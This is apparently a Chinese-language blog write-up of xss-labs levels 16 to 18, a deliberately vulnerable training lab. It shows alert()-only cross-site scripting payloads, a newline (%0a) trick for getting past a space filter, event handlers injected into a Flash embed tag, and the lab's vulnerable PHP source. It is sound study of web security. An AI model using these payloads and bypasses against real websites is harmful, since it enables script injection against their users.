【xss-labs】闯关记录16~18

【xss-labs】闯关记录16~18


【level-16】%0a绕过空格

1、测试流程

扔一个payload:<script>alert(888)</script>试试:

image-20210313155349768

结果发现关键字script和/都被替换为&nbsp;

于是换一个payload:<img src=1 onerror=alert(666)>

image-20210313155851783

发现空格也被转义了。。。

用换行符%0a来代替空格:

payload:<svg%0aonload=alert(000)>

image-20210313160809946
2、源码分析
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("	","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>

服务端先将用户传入的参数进行小写转换,然后对script、/、空格进行了非空替换,但是空格可以通过换行符来代替,所以顺利绕过。


【level17】flash

1、测试流程

一进来就是这样

image-20210313162951003

image-20210313162813999

我人傻了。两个参数??

查看网页源代码,找到了a,b的位置:

image-20210313164503444

于是构造payload:

level17.php?arg01=rinima%20onload&arg02=alert(/xss/)

但是flash早就被禁用了,读不出来,所以就复现不了,但收获还是不少的。

但是不行不行,我不甘心,转到chrome,安装了flash2021

但是onlick和onfocus好像不行

换了一个payload:

level17.php?arg01=%20onmouseover&arg02=alert(/xss/)

image-20210313170208516

复现成功!

2、源码分析
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

<embed>标签定义了一个容器,用来嵌入外部应用或者互动程序(插件)。

可以嵌入图片、HTML页面、视频等等。

属性描述
heightpixels规定嵌入内容的高度。
srcURL规定被嵌入内容的 URL。
typeMIME_type规定嵌入内容的 MIME 类型。 注:MIME = Multipurpose Internet Mail Extensions。
widthpixels规定嵌入内容的宽度。

注意:现在已经不建议使用 <embed> 标签了,可以使用 <img><iframe><video><audio> 等标签代替。

上面代码中应该嵌入的是一个swf文件,swf是Flash的专用格式,被广泛应用于网页设计、动画制作等领域,swf文件通常也被称为Flash文件。


【level18】flash

1、测试流程

直接上一关payload:

level18.php?arg01=%20onmouseover&arg02=alert(/xss/)

image-20210313170730297

2、源码分析
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

代码跟上一关没有一点区别。

level19-20略,flash的xss还是没搞懂,后期再更新。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值